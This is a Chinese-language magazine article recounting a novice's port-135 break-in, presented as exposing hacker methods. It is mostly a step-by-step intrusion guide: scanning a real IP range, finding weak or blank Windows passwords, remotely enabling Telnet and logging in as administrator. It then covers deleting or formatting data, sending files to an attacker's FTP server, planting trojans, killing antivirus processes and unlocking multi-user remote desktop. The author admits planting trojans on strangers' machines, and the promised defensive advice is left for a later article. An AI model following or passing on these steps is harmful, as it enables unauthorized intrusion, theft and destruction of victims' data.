菜鳥黑客的入侵經歷

在過去，黑客是很神秘的角色，可如今，想當一名黑客是太容易了。不信?本文就展示了一位菜鳥黑客的經歷，目的是揭秘黑客手段，提醒大家做好自身的安全防范。

有天在網上閑逛，無意中筆者闖進了一個黑客社區，看到了很多人正在炫耀自己的“豐功偉績”：

“我今天又盜了幾個QQ靚號!”

“昨天盜的ADSL賬號，可以狂沖我的Q幣，你也要沖點不?”

“我盜了一個魔獸號，這家伙很有錢呢!”

“昨晚入侵了幾臺電腦，看到一些很有意思的圖片呢!”

這些不道德的行為在互聯網的環境下確實難以管束，然而產生這些現象的原因也是多方面的。一方面是如今做黑客太容易了，通過搜索引擎就能找到很多相關的資料和工具，另一方面是很多人的電腦處于不安全的狀態。就在這個社區里，筆者輕易地得到了一段攻擊視頻。

這樣，網上有大把的肉雞，也有大把的黑客教程，想成為一名菜鳥黑客有多簡單呢?筆者沒有任何黑客經驗，不過在看完了這段的135端口入侵演示動畫后，依葫蘆畫瓤地很快就學會了這種簡單的入侵方法。

第一次入侵

所謂入侵，首先就要找對方的漏洞，135入侵就是從對方的135端口入侵，這是個相當敏感的端口，當年大名鼎鼎的沖擊波病毒就是利用了這個端口。

入侵的第一步就是掃描網上開啟了135端口的電腦。掃描工具有很多，這里以《S掃描器》為例，它的速度比較快。另外，還有圖形界面的SpuerScan、X－Scan等等。輸入如下命令：

stcp 222.241.192.0 222.241.225.255 135 100/save

兩段IP地址分別是掃描的開始地址和結束地址(這里選擇的是和筆者的電腦處于同一B類網段的IP)，后面的135表示端口號，100表示同時開啟的掃描線程數，數字越大掃描速度就越快，但也更容易出現漏掃(winxP SP2默認限制TCP/IP線程數為10，要用修改工具改掉這個限制才行)。/save表示把掃描結果保存到一個名為Result.txt的文本文件里。

第二步是從開啟了135端口的電腦中篩選出可以入侵的電腦。用到的工具是NTscan。我們打開剛才生成的Result.txt文件，刪除多余的信息，只留下IP地址，然后保存。接著用NTsacn打開該文件，選擇WMI掃描，端口一欄輸入135，就可開始進行篩選。

NTscan會根據字典文件中設置的用戶名和口令來篩選出那些空口令或者弱口令的電腦(注：字典文件是NT_user.dic和NT_pass.dic這兩個文件，我們可以自行修改其內容)。NTsacn會把掃描結果保存到NTscan.txI文件里。

第三步是用Recton來遠程開啟對方的Telnet功能。打開Recton，選擇Telnet，從NTscan.txt文件中隨便找個地址222.241.193.107，把它輸入到遠程主機一欄，再填入用戶名和密碼，點擊“開始執行”按鈕，Recton就會自動利用135漏洞去開啟對方的Telnet功能，當然這一過程不是每次都能成功的，開啟成功后下面的提示框就會顯示相關信息。

第四步是Telnet到對方的電腦。點擊“開始一運行”，輸入cmd，回車，在命令提示符模式下，輸入telnet 222.241.193.107，回車，就會出現telnet登錄界面，如果對方的操作系統是Windows XP，就會提示“您將要把您的密碼信息送到Internet區內的一臺遠程計算機上。這可能不安全。您還要送嗎(y/n)：”。選擇n，不然會退出連接。我們輸入用戶名administrator，密碼為空，回車后，等待一會，就能進入對方的電腦了。這樣一來，入侵就成功了。

入侵后的樂趣——揭秘黑客常見行為

入侵別人的電腦后，黑客會可以做些什么呢?在單調的黑色命令提示符模式下，黑客能發掘出什么樣的樂趣來呢?下面讓我一一為你揭秘。

1．刪除文件，偷竊文件

用Telnet登錄對方的電腦后，就好像在本機運行CMD程序一樣，為此我們要熟悉一些常用的DOS命令。比如列表命令Dir、路徑切換命令CD等，另外還要熟悉一些參數，比如dir/a可以顯示隱藏文件和文件夾，dir/W可以多列顯示等等。這些參數可以組合使用，要想了解的話，還是去網上搜索一下常用DOS命令介紹的文章吧。

我們可以用del命令刪除對方電腦上的文件，甚至可以用format命令格式化對方的硬盤，當然這樣做是極不道德的，試想如果把某個正在準備答辯的研究生的論文全部刪除了，估計對方連跳樓的心思都有。更多的時候，黑客入侵別人的電腦是為了偷東西而不是搞破壞，那么如何在DOS狀態下把對方的文件偷走呢?這就要用到ftp命令。

我們可以在網上申請有ftp功能的主頁空間，或者在自己的電腦上安裝Serv－U，把自己的電腦變成FTP服務器。然后在對方的電腦里輸入ftp x.x.x.x，輸入用戶名和密碼，就能登錄到FTP服務器。之后使用“put文件名．擴展名”命令就能把文件傳自己的FTP服務器上去。如果要上傳大量文件，可以把文件列表復制下來，用UltraEdit來編輯成批處理命令即可。這比用那些有圖形界面的木馬程序偷文件要快得多。

2．種植木馬，為所欲為

當然，在DOS模式下，我們能做的操作還是比較有限的，而且敲命令畢竟還是有些不方便，要把對方變成自己的肉雞，就要在對方的電腦里種木馬。

種植木馬后，用戶的電腦就成為了徹底的肉雞，黑客可以對它為所欲為，用戶在黑客面前將沒有任何隱私，偷取密碼自然不在話下，甚至用戶的電腦會成為黑客用來搞網絡攻擊的幫兇。筆者試著在幾臺肉雞中種植了守望者木馬。

3．關掉殺毒軟件

種植木馬成功的條件是木馬不會被對方電腦的殺毒軟件查殺，但現在殺毒軟件種類繁多，升級病毒庫也越來越頻繁，加殼或修改特征碼不一定會成功免殺，所以還有人研究如何在Telnet模式下關閉對方電腦的殺毒軟件。

比如使用DOsT的殺進程工具pskill來殺掉殺毒軟件進程，或者用Windows自身的taskkill和net stop等命令來關閉殺毒軟件進程或服務。不過現在有的殺毒軟件本身有了進程保護措施，可以防止自身進程被非法關閉。

除此之外，還有人提出把病毒庫“掏空”的觀點，就是破壞對方的病毒庫，這樣對方的殺毒軟件就變成瞎子了。

4．開啟遠程桌面功能

雖然通過木馬能夠監控對方的屏幕甚至遠程控制對方的桌面，但是控制對方的鼠標和鍵盤很容易被發現，所以黑客更傾向于使用Windows的遠程桌面功能。Windows XP默認只支持一個用戶登錄，但是只要把3389破解工具傳到對方的電腦里，就能破解該限制，實現Windows XP的多用戶同時登錄，這樣黑客就可以用遠程桌面連接到對方電腦，和操作自己的電腦一樣，自然方便多了。

螳螂捕蟬，黃雀在后

由于菜鳥黑客往往使用別人編寫的黑客工具，所以有時也會被老鳥欺負。比如有的黑客工具暗藏玄機，當菜鳥黑客用木馬控制了不少肉雞后，這些肉雞可能暗地里也被木馬的制作者控制了，不然那些動輒由上萬肉雞構成的僵尸網絡是不會那么容易建立起來的。

有的菜鳥黑客使用木馬去盜取別人的賬號，但這些木馬的制作者可能也給另設后門，把較好的賬號篩選出來發郵件給制作者，把剩下的發給菜鳥黑客也說不定。

一般來說，有經驗的菜鳥黑客通常會選擇在肉雞上實驗新的黑客工具，或者使用虛擬機來進行實驗，因為黑客工具往往都會被殺毒軟件查殺，在本機實驗的話必須關閉殺毒軟件才行，那樣自己的電腦就沒得安全保障了。像我做135入侵實驗就是在虛擬機上做的，這樣一來，就算黑客工具另有后門，也害不到我自己的電腦了。

前面介紹的是比較常見的135入侵，其他常見的入侵方法還有139入侵、1433入侵、3389l入侵、48991入侵等等，甚至還可以利用網站的程序漏洞來入侵服務器。當然，現在很多菜鳥黑客都不喜歡這種辛苦的主動入侵方式，而選擇的是掛網頁木馬的方式，自己只要守株待兔就行。

現在我們已經知道自己的電腦在互聯網上是多么的不安全，如果稍有不注意，就有可能被黑客光顧，那么我們該如何防范黑客入侵呢?請繼續關注本欄目后續文章。